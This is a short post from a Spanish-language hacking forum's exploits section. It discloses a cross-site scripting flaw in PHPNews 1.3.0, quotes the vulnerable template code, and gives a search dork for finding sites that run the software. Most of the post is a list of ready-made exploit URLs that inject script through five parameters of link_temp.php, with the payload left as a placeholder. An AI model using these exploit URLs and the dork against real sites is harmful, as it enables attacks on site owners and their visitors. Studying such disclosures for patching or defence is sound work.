PHP News 1.3.0

Nuevas NORMAS para el foro

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Agosto 20, 2008, 11:09:35 Boton Buscar

Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana | Phreaking, Hacking y Seguridad | Bug y Exploits (Moderador: OzX) | Tema: PHP News 1.3.0

0 Usuarios y 1 Visitante están viendo este tema.

« anterior próximo »

Páginas: [1]

Autor

Tema: PHP News 1.3.0 (Leído 180 veces)

WiNsMuRf
Colaborador

Desconectado

Mensajes: 858

Tux Rlz!

PHP News 1.3.0

« en: Diciembre 11, 2006, 08:00:04 »

PHP Script: PHPNews 1.3.0
Class: XSS
Website: http://newsphp.sourceforge.net
Found by: Detefix
dork: inurl:phpnews

-----

- Vulnerable Code:

<?php
print<<<EOT
<a href="$url?action=fullnews&showcomments=1&id=$id">$subject</a> by $username on $time<br />

-----

- Exploits:

http://[target]/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?username=[XSS]

http://[target]/[path-to-PHPNews]/templates/link_temp.php?time=[XSS]


	En línea

No respondo mensajes privados ni atiendo en el messenger..

Páginas: [1]

Comunidad Underground Hispana \| Phreaking, Hacking y Seguridad \| Bug y Exploits (Moderador: OzX) \| Tema: PHP News 1.3.0	« anterior próximo »

Ir a: